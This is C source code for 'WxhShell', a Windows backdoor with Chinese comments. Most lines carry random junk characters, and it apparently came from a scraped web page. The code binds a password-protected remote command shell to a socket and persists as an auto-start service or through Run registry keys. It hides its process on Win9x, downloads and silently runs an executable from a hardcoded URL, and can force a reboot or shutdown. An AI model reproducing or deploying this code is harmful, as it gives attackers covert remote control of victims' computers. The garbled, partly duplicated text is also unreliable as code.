    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J4 <*KL~a  
    if(Boot(SHUTDOWN)) Nnw iH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;N|6C+y  
    else { -|5&3HVz  
    closesocket(wsh); J$o J  
    ExitThread(0); ge|}'QKow  
    } 4kiu*T  
    break; eJ'ojc3  
    } t@\0$V \X  
  // 获取shell p5\b&~ g  
  case 's': { tx.sUu6  
    CmdShell(wsh); apXq$wWq{D  
    closesocket(wsh); JT+P>\\];'  
    ExitThread(0); {<lV=0]  
    break; N*#SY$!y  
  } G(>a LF  
  // 退出 6*E 7}  
  case 'x': { eM}Xn^}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _F9 c.BH  
    CloseIt(wsh); ;%}  
    break; J{Jxb1:c  
    } q!n|Ju<  
  // 离开 4{V=X3,x  
  case 'q': { <Ip}uy[Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O;~1M3Ii  
    closesocket(wsh); *7ox_ R@  
    WSACleanup(); P&K~wP]  
    exit(1); z|Xl%8  
    break; LS`Gg7]S  
        } oKUJB.PF  
  } hn-S$3')`  
  } ;rX4${h  
X!m/I i$q  
  // 提示信息 ty ~U~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^t"\PpmK<d  
} <m!\Ma  
  } OP@PB|  
_<8n]0lX3  
  return; \*7Tj-#  
} `k+k&t  
lH[N*9G(  
// shell模块句柄 e>[QF+e)y  
int CmdShell(SOCKET sock) %}@^[E)  
{ &\A$Rj)  
STARTUPINFO si; j JW0a\0  
ZeroMemory(&si,sizeof(si)); x|Dj   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |cH\w"DcXw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T SOt$7-  
PROCESS_INFORMATION ProcessInfo; 7Y-GbG.'  
char cmdline[]="cmd"; F~m tE8B:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wXP1tM8T  
  return 0; cla4%|kq3Y  
} 0F"xU1z,  
MDRSI g  
// 自身启动模式 B=f{`rM)~W  
int StartFromService(void) yuND0,e  
{ 3E#acnqn*  
typedef struct rl4-nA  
{ OHB!ec6W  
  DWORD ExitStatus; oD.f/hi0|  
  DWORD PebBaseAddress; Fw|5A"9'a'  
  DWORD AffinityMask; iS"rMgq  
  DWORD BasePriority; x ` $4  
  ULONG UniqueProcessId; [p(Y|~  
  ULONG InheritedFromUniqueProcessId; :)+cI?\#  
}   PROCESS_BASIC_INFORMATION; Tsa&R:SE  
9s}--_k?F2  
PROCNTQSIP NtQueryInformationProcess; h5~tsd}OU  
W>Zce="_gN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?wmr~j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |XQ!xFB  
'1d-N[  
  HANDLE             hProcess; P/27+5(|  
  PROCESS_BASIC_INFORMATION pbi; !=a8^CV  
^ H'|iju  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Uzc  
  if(NULL == hInst ) return 0; @r#>-p  
Lm8 cY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )ZT&V I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JV@>dK8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ce@(Ct  
-IPc;`<  
  if (!NtQueryInformationProcess) return 0; il*bsnwpZv  
9khD7v   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hNQ,U{`;^  
  if(!hProcess) return 0; 6,k}v:  
P",53R+"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]R0^ }sI  
vHWw*gg(/E  
  CloseHandle(hProcess); x ha!.&DO  
.*8.{n5   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); na<g /&  
if(hProcess==NULL) return 0; 8G9V8hS1#B  
\OOj]gAe  
HMODULE hMod; eI- ~ +.  
char procName[255]; $L?stgU  
unsigned long cbNeeded; JTx&_Ok#  
REw!@Y."  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tvI~?\Ylj  
3dXyKi  
  CloseHandle(hProcess); Hq=RtW2  
4rv3D@E  
if(strstr(procName,"services")) return 1; // 以服务启动 FX\ -Y$K  
m@OgT<E]_  
  return 0; // 注册表启动 c" yf>0  
} >zXw4=J  
9^`G `D  
// 主模块 D>05F,a  
int StartWxhshell(LPSTR lpCmdLine) *K!V$8k=99  
{ Q&yfl  
  SOCKET wsl; ns@b0'IF]  
BOOL val=TRUE; "",V\m  
  int port=0; -8g ;t3z  
  struct sockaddr_in door; q W) ,)i  
UAa2oY&  
  if(wscfg.ws_autoins) Install(); 2uz<n}IV  
ceAK;v o  
port=atoi(lpCmdLine); lv,<[Hw1  
< jfi"SJu  
if(port<=0) port=wscfg.ws_port; 2U i)'0  
{4UlJ,Z.n  
  WSADATA data; x2;92I{5C,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RoP z?,u  
6Vi #O^>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iugTXZ(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z?X ^7<  
  door.sin_family = AF_INET; !DD|dVA{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B\9ymhx;g%  
  door.sin_port = htons(port); ?mnwD]u  
$KKrl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]x! vPIyq  
closesocket(wsl); 5WY..60K,  
return 1; A\gj\&B0"  
} aHS.U^2  
sy4$!,W:  
  if(listen(wsl,2) == INVALID_SOCKET) { u[y>DPPx  
closesocket(wsl); W +C\/  
return 1; 8 z\WyDz  
} cvi+AZ=  
  Wxhshell(wsl); C^]bXIb  
  WSACleanup(); Bx;bc  
dX` _Y  
return 0; |>Kf_b Y#  
{V,rWg  
} BHqJ~2&FDW  
U_Id6J]8  
// 以NT服务方式启动 :43K)O"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jO3Z2/#  
{ Q l ql(*  
DWORD   status = 0; $GPenQ~},  
  DWORD   specificError = 0xfffffff; -fn["R]  
++BVn[1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ybcQ , e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D:M0_4S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >i-cR4=LL{  
  serviceStatus.dwWin32ExitCode     = 0; Ggsfr;m\`  
  serviceStatus.dwServiceSpecificExitCode = 0; qK#\k@E  
  serviceStatus.dwCheckPoint       = 0; ,@8>=rT  
  serviceStatus.dwWaitHint       = 0; 5,k&^CK}  
Ay/ "2pDZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %#Fd0L  
  if (hServiceStatusHandle==0) return; 3@_je)s  
 Jcy  
status = GetLastError(); UIIR$,XB  
  if (status!=NO_ERROR) 3L/>=I{5  
{ JmtU>2z\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w*OZ1|  
    serviceStatus.dwCheckPoint       = 0; D\bW' k]!  
    serviceStatus.dwWaitHint       = 0; \,oT(p4N%M  
    serviceStatus.dwWin32ExitCode     = status; x4Y+?2  
    serviceStatus.dwServiceSpecificExitCode = specificError; C 3b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N_UZu  
    return; JstX# z  
  } 6uOR0L  
 0'%R@|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9co1+y=i{  
  serviceStatus.dwCheckPoint       = 0; 2>_6b>9]  
  serviceStatus.dwWaitHint       = 0; X2/ `EN\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s+$l.aIO!  
} z{7&=$  
*4dA(N\k"  
// 处理NT服务事件,比如:启动、停止 ~W_m<#K(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #92 :h6  
{ [89#8|+  
switch(fdwControl) (Rve<n6{A  
{ ; P&K a  
case SERVICE_CONTROL_STOP: pTX{j=n!  
  serviceStatus.dwWin32ExitCode = 0; /|bir6Y:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "n=`{~F  
  serviceStatus.dwCheckPoint   = 0; xzbyar<  
  serviceStatus.dwWaitHint     = 0; OIe {Sx{y  
  { |JtdCP{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FU E/uh  
  } OXK?R\ E+  
  return; ubjuuha"  
case SERVICE_CONTROL_PAUSE: ~ucOQVmz@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?TLMoqmXM{  
  break; dyC: Mko=  
case SERVICE_CONTROL_CONTINUE: 3 8m5&5)1F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y, )'0O  
  break; }[SWt3qV1  
case SERVICE_CONTROL_INTERROGATE: %F` c Nw]  
  break; /#GX4&z  
}; JnlM0jc]`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>ii2% 4  
} !LVWggk1  
2kp.Ljt@  
// 标准应用程序主函数 4w}\2&=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FAzshR  
{ z AacX@  
DyD#4J)E  
// 获取操作系统版本 E;fYL]j/oZ  
OsIsNt=GetOsVer(); bW7tJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v[q2OWcL  
;oH17  
  // 从命令行安装 }3!83~Qbx  
  if(strpbrk(lpCmdLine,"iI")) Install(); s*>s;S?{|  
*!ZU" q}i  
  // 下载执行文件 k3da*vwE  
if(wscfg.ws_downexe) { $pyM<:*L&<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <!v^Df  
  WinExec(wscfg.ws_filenam,SW_HIDE); y+)][Wa0  
} 5hUYxF20h8  
T2P0(rEz  
if(!OsIsNt) { ?Lbw o<E  
// 如果时win9x,隐藏进程并且设置为注册表启动 bN`oQ.Z 4  
HideProc(); Zrr3='^s  
StartWxhshell(lpCmdLine); mqrP0/sN  
} Q.*qU,4);  
else f<= #WV  
  if(StartFromService()) ; =ai]AYW  
  // 以服务方式启动 nU-.a5  
  StartServiceCtrlDispatcher(DispatchTable); ;]D@KxO$dJ  
else Py^F},?J  
  // 普通方式启动 tV<}!~0,*  
  StartWxhshell(lpCmdLine); KwndY,QD  
gYn1-/Z>I  
return 0; ^/47 *vcN5  
} Ek~Qp9B  
2asA]sY  
Ok/~E  
Am'5|  
=========================================== EDcR:Dw3  
`Rub"zM  
/pan{.< k  
8p,q9Ey  
BNw^ _j1  
16_HO%v->  
" v`A^6)U#M  
@s}I_@  
#include <stdio.h> OB)Vk  
#include <string.h> S7N3L."  
#include <windows.h> ,%w_E[2  
#include <winsock2.h> @Ck6s  
#include <winsvc.h> wj!p6D;;S  
#include <urlmon.h> 8  k9(iS  
nyWA(%N1  
#pragma comment (lib, "Ws2_32.lib") qL091P\F  
#pragma comment (lib, "urlmon.lib") "^u  
LY'_U0y4  
#define MAX_USER   100 // 最大客户端连接数 ?7 e|gpQ|  
#define BUF_SOCK   200 // sock buffer c9/w-u~j  
#define KEY_BUFF   255 // 输入 buffer *v)JX _  
}@J&yrqg  
#define REBOOT     0   // 重启 7(rTGd0  
#define SHUTDOWN   1   // 关机 =u QCm#  
'g$~ij ;x  
#define DEF_PORT   5000 // 监听端口 Q:& ,8h[  
~Z!xS  
#define REG_LEN     16   // 注册表键长度 [X ]\^   
#define SVC_LEN     80   // NT服务名长度 XAR~d6iZ  
\:mx Ri  
// 从dll定义API Po'yr]pr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r483"k(7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  LKieOgX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %H75u 6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AR\>P  
JP)/ O!  
// wxhshell配置信息 ;n$j?n+|  
struct WSCFG { pN6!IxN$  
  int ws_port;         // 监听端口 zhY V M Q  
  char ws_passstr[REG_LEN]; // 口令 s\_-` [B0  
  int ws_autoins;       // 安装标记, 1=yes 0=no [wG?&l$.KB  
  char ws_regname[REG_LEN]; // 注册表键名 tQ_;UQlX  
  char ws_svcname[REG_LEN]; // 服务名 { :xINQ=}D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5\8Ig f>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m8,P-m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H_sLviYLu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {>tgNW>)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h@=H7oV7k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1dh_"/  
 *>j u1f  
}; xRpL\4cs  
'uBXSP#  
// default Wxhshell configuration 767xCP  
struct WSCFG wscfg={DEF_PORT, z)xGZ*{=  
    "xuhuanlingzhe", H$au02dpU  
    1, e;~[PYeu  
    "Wxhshell", b)J(0,9`G"  
    "Wxhshell", kD dY i7g>  
            "WxhShell Service", 1,=U^W.G  
    "Wrsky Windows CmdShell Service", hV#+joT8i  
    "Please Input Your Password: ", Rcs7 'q5  
  1, m663%b(5>  
  "http://www.wrsky.com/wxhshell.exe", u`dWU}m)  
  "Wxhshell.exe" {LYA?w^GT  
    }; pj;cL ]L  
dFD0l?0N  
// 消息定义模块 !^cQPX2<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 28JWQ%-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &1YAPxX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SoeL_#+^W  
char *msg_ws_ext="\n\rExit."; lTW5> %  
char *msg_ws_end="\n\rQuit."; ~j}di^<{  
char *msg_ws_boot="\n\rReboot..."; dy N`9  
char *msg_ws_poff="\n\rShutdown..."; P$S>=*`n U  
char *msg_ws_down="\n\rSave to "; \g< M\3f  
PeEf=3  
char *msg_ws_err="\n\rErr!"; :]iV*zo_  
char *msg_ws_ok="\n\rOK!"; B;9X{"  
s`GwRH<#  
char ExeFile[MAX_PATH]; *2N$l>ql:k  
int nUser = 0; \gaGTc2&  
HANDLE handles[MAX_USER]; %>`0hk88  
int OsIsNt; YQe9g>G&  
Rd|};-  
SERVICE_STATUS       serviceStatus; jv<BGr=4;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O&!>C7  
S~0 mY} m  
// 函数声明 Ta`=c0  
int Install(void); YbB8D-  
int Uninstall(void); J5h;~l!y  
int DownloadFile(char *sURL, SOCKET wsh); -twV?~f  
int Boot(int flag); .9{Sr[P  
void HideProc(void); [U@#whEO  
int GetOsVer(void); unKTa*U^q  
int Wxhshell(SOCKET wsl); G/>upnA{w  
void TalkWithClient(void *cs); 5VdF^.:u  
int CmdShell(SOCKET sock); :\9E%/aAD  
int StartFromService(void); sYM3&ikyHI  
int StartWxhshell(LPSTR lpCmdLine); iI ji[>qz  
Tn,'*D@l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XBe!9/'k>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4CVtXi_Y  
1.U5gW/3L  
// 数据结构和表定义 pt<!b0G  
SERVICE_TABLE_ENTRY DispatchTable[] = &Q 7Q1`S  
{ +pp|Qgr 3  
{wscfg.ws_svcname, NTServiceMain}, >Pj ?IE6  
{NULL, NULL} v?BX 4FO  
}; hZf0q 2  
LnP={s  
// 自我安装 0*S]m5#;  
int Install(void) Q laz3X,P  
{ yM>:,TS  
  char svExeFile[MAX_PATH]; QxG:NN;jW  
  HKEY key; I!3qb-.Q  
  strcpy(svExeFile,ExeFile); `K37&b;`[  
d?^bCf+<  
// 如果是win9x系统,修改注册表设为自启动 {eA0I\c(C  
if(!OsIsNt) { @T[}] e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aal5d_Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mlc0XDS%  
  RegCloseKey(key); Rl90uF]8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (4=NKtA^G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9gR@Q%b)  
  RegCloseKey(key); 1eQa54n  
  return 0; k2DT+}u7G  
    } 19O /Q,9  
  } MLg+ 9y  
} g>)&Q >}=W  
else { q66!xhp;?  
N@Pf\D  
// 如果是NT以上系统,安装为系统服务 '*H&s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \g& P5  
if (schSCManager!=0) Hh`x>{,|S  
{ sT:$:=  
  SC_HANDLE schService = CreateService ;zVtJG`  
  ( {#"[h1  
  schSCManager, w&<-pIa`  
  wscfg.ws_svcname, dnt: U!TW@  
  wscfg.ws_svcdisp, hAq7v']m  
  SERVICE_ALL_ACCESS, A+v6N>}*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }tue`">h  
  SERVICE_AUTO_START, 60p*$Vqy  
  SERVICE_ERROR_NORMAL, h^o>9s/|/H  
  svExeFile, |^p7:)cy  
  NULL, wh8h1I  
  NULL, ZdG?fWWA  
  NULL, ?IRp3H  
  NULL, ) Zud|%L  
  NULL MQ7d IUs  
  ); bso l>M[<  
  if (schService!=0) 'Vq_/g!?1  
  { x[l_dmq  
  CloseServiceHandle(schService); <Vucr   
  CloseServiceHandle(schSCManager);  JwEQR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @%Y$@Qb{  
  strcat(svExeFile,wscfg.ws_svcname); yg34b}m{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B>sSl1opI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0\XG;KA  
  RegCloseKey(key); T= Q"| S]V  
  return 0; w5zr Ek#  
    } &,E^ y,r  
  } eT 8(O36%  
  CloseServiceHandle(schSCManager); p2T<nP<Pt  
} 5n,?&+*L  
} USBU?WDt  
#nG?}*#  
return 1; =(\ /+ 0-[  
} klSzmi4M  
vzDoF0Ts*p  
// 自我卸载 AA$+ayzx9{  
int Uninstall(void) nGb%mlb  
{ Z,~Bz@5`"  
  HKEY key; W  &wqN  
^APPWQUl  
if(!OsIsNt) { >a;0<Ui&Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Z:zL^rvn  
  RegDeleteValue(key,wscfg.ws_regname); M.B0)  
  RegCloseKey(key); '?7?"v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rjsqXo:9  
  RegDeleteValue(key,wscfg.ws_regname); 8K(3{\J[V  
  RegCloseKey(key); 7i(U?\A;.  
  return 0; EVs.'Xg<  
  } i$`OOV=/e  
} "eKNk  
} #r{`Iv ?nn  
else { Op''=Ar#sh  
=)tU]kp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gp*U2LB  
if (schSCManager!=0) 7bcl^~lY  
{ , c3gW2E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^\|Hz\"*  
  if (schService!=0) tR`'( *wh  
  { x@^Kd*fo  
  if(DeleteService(schService)!=0) { OJX* :Q  
  CloseServiceHandle(schService); "h.-qQGU%  
  CloseServiceHandle(schSCManager); |Uf[x[  
  return 0; ZWJ%t'kF  
  } `*?8<Vm  
  CloseServiceHandle(schService); Wp5w}8g  
  } W>jgsR79M  
  CloseServiceHandle(schSCManager); yxv]G6  
} uh,~Cv XU]  
} > wsS75n1  
FUy!j|W6f  
return 1; t4HDt\}&k~  
} :.xdG>\n3  
!a %6nBo  
// 从指定url下载文件 s Yp?V\Y"  
int DownloadFile(char *sURL, SOCKET wsh) Ekq&.qjYG"  
{ /eFudMl  
  HRESULT hr; &+"-'7  
char seps[]= "/"; -TL `nGF  
char *token; @C\>P49  
char *file; 47 ]?7GU,  
char myURL[MAX_PATH]; ~n)gP9Hv  
char myFILE[MAX_PATH]; WsHC%+\'  
JjO="Cmk/  
strcpy(myURL,sURL); X MkyX&y  
  token=strtok(myURL,seps); ,V$PV,G  
  while(token!=NULL) G3 h&nH,>  
  { #f *,mY|>  
    file=token; =lyP &u  
  token=strtok(NULL,seps); y]9PLch]vZ  
  } AfQ?jKk&{'  
J2tD).G  
GetCurrentDirectory(MAX_PATH,myFILE); ^5BLuN6  
strcat(myFILE, "\\"); "0BuQ{CQ  
strcat(myFILE, file); ">$.>sn{  
  send(wsh,myFILE,strlen(myFILE),0); |q0MM^%"  
send(wsh,"...",3,0); [):&R1U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZmT N  
  if(hr==S_OK) s]=bg+v?j  
return 0; M mihWD02  
else 8vP:yh@  
return 1; a04I.5!  
Z{' .fq2A  
} ?U}Ml]0~  
bKAR}JM&  
// 系统电源模块 6x6xv:\  
int Boot(int flag) KDt@Xi 6||  
{ 6LVJ*sjSy  
  HANDLE hToken; 'a&(r;  
  TOKEN_PRIVILEGES tkp; =aL=SC+  
.W[[Z;D  
  if(OsIsNt) { l8O12  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,2*^G;J1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L\O}q  
    tkp.PrivilegeCount = 1; +i %,+3#6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y[L7=Td  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *qh$,mp>  
if(flag==REBOOT) { [1Os.G2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^M51@sXI7  
  return 0; (YOp  
} f76bEe/B9  
else { 0u,OW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fe,A\W&8  
  return 0; $ U~3$*R  
} fi/[(RBG  
  } Kzv*`  
  else { sg=mkkD!g  
if(flag==REBOOT) { =%wwepz6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fF~3"!1#\I  
  return 0; ;'\#+GZ9p  
} J}c`\4gD  
else { oM')NIW@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9!aQ@ J^  
  return 0; NrC (.*?m  
} >icL,n"]  
} "0ITW46n  
bU(H2Fv  
return 1; QvPG 6A]T  
} OJ2O?Te8  
K5oVB,z)  
// win9x进程隐藏模块 m{~p(sQL  
void HideProc(void) &s]wf  
{ =K#12TRf  
9)_fH6r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =|@%5&.P  
  if ( hKernel != NULL ) )2 Omsh  
  { xlJ8n+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *58`}]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;PBybR W  
    FreeLibrary(hKernel); 5)}3C_pmW  
  } l7g< $3  
2f;fdzjk8K  
return; +`@)87O  
} '[XtARtY`  
L `7~~  
// 获取操作系统版本 ,g2oqq ?  
int GetOsVer(void) .:<-E%  
{ N*dO'ol  
  OSVERSIONINFO winfo; cqr4P`Oj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9}\{0;9  
  GetVersionEx(&winfo); 4{[cXM8*j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |VY+!  
  return 1; xj1FCT2  
  else aN87^[  
  return 0; z x7fRd$  
} 'h?;i2[  
A;pVi;7  
// 客户端句柄模块 %J_`-\)"{~  
int Wxhshell(SOCKET wsl) b IS 3  
{ ]A;{D~X^w  
  SOCKET wsh; > @Ux8#  
  struct sockaddr_in client; \~3g*V  
  DWORD myID; jz\LI  
yNw YP%"y  
  while(nUser<MAX_USER) #i#4h<R  
{ M.h)]S>  
  int nSize=sizeof(client); [sM~B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qre.^6x  
  if(wsh==INVALID_SOCKET) return 1; =bVaB<!  
DOr()X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aNqhxvwf  
if(handles[nUser]==0) YW|KkHi*  
  closesocket(wsh); "IK QFt'  
else q#8$@*I  
  nUser++; kt.y"^  
  } Cg~GlZk}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z+mesj?.  
#$<7  
  return 0; yK1Z&7>J>  
} ]5!}S-uJq  
%T.4Aj  
// 关闭 socket `M "O #  
void CloseIt(SOCKET wsh) ?qn0].  
{ hkS K;  
closesocket(wsh); s'&/8RR  
nUser--; kfod[*3  
ExitThread(0); 2{<5?Op  
} ?A[q/n:K  
 X,zqI  
// 客户端请求句柄 8x`?Yc  
void TalkWithClient(void *cs) Zcaec#  
{ i.0}d5Y  
yJt0KUw@!  
  SOCKET wsh=(SOCKET)cs; a<Ru)Q?=  
  char pwd[SVC_LEN]; 7?@s.Sz|fV  
  char cmd[KEY_BUFF]; I?) .D?o  
char chr[1]; C *\ =Q  
int i,j; .?gpI Zv  
' (JSU   
  while (nUser < MAX_USER) { MjO.s+I  
D6 2xC5  
if(wscfg.ws_passstr) { OygR5s +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jIZpv|t)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 07zbx6:t  
  //ZeroMemory(pwd,KEY_BUFF); X[ERlw1q4Q  
      i=0; RhJ{#G~:%  
  while(i<SVC_LEN) { CS:"F) at  
|@J:A!  
  // 设置超时 c,$ >u,4  
  fd_set FdRead; B( ]=I@L=W  
  struct timeval TimeOut; RCFocOOn  
  FD_ZERO(&FdRead); xMk0Xf'_  
  FD_SET(wsh,&FdRead); K_@[%  
  TimeOut.tv_sec=8; KL2#Bm_  
  TimeOut.tv_usec=0; 6K/j,e>L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _uvRC+~R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {8NnRnzU  
DEGEr-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,S|v>i, @  
  pwd=chr[0]; |Rh%wJ  
  if(chr[0]==0xd || chr[0]==0xa) { ] ~;x$Z)  
  pwd=0; `@8QQB  
  break; +="?[:  
  } F_m[EB  
  i++; ])dq4\Bw  
    } Up61Xn  
_N4G[jQLJ  
  // 如果是非法用户,关闭 socket hpftVEB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N :#"4e  
} u$7o d$&S  
pi>,>-Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t)Iu\bP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  V~V_+  
p'lL2 n$E  
while(1) {  !,rp|  
,_K /e  
  ZeroMemory(cmd,KEY_BUFF); d" T">Og)  
aS^ 4dEJ  
      // 自动支持客户端 telnet标准   "3kIQsD|j  
  j=0; U5uO|\+)  
  while(j<KEY_BUFF) { Mlr\#BO"9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gO0X-fN8  
  cmd[j]=chr[0]; g]^@bxdg  
  if(chr[0]==0xa || chr[0]==0xd) { .OLm{  
  cmd[j]=0; M.|@|If4?  
  break; ?Y:>Ouv*z'  
  } 3},0b8};  
  j++; ;\P\0pI50  
    } $wL zaZL|  
>t-9yO1XQq  
  // 下载文件 #G[S  
  if(strstr(cmd,"http://")) { J2X;=X5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LKCj@NdV  
  if(DownloadFile(cmd,wsh)) [:cy.K!Uo%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wb*A};wE  
  else n H)6mOYp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6#sd"JvtQ  
  } ![=C`O6K  
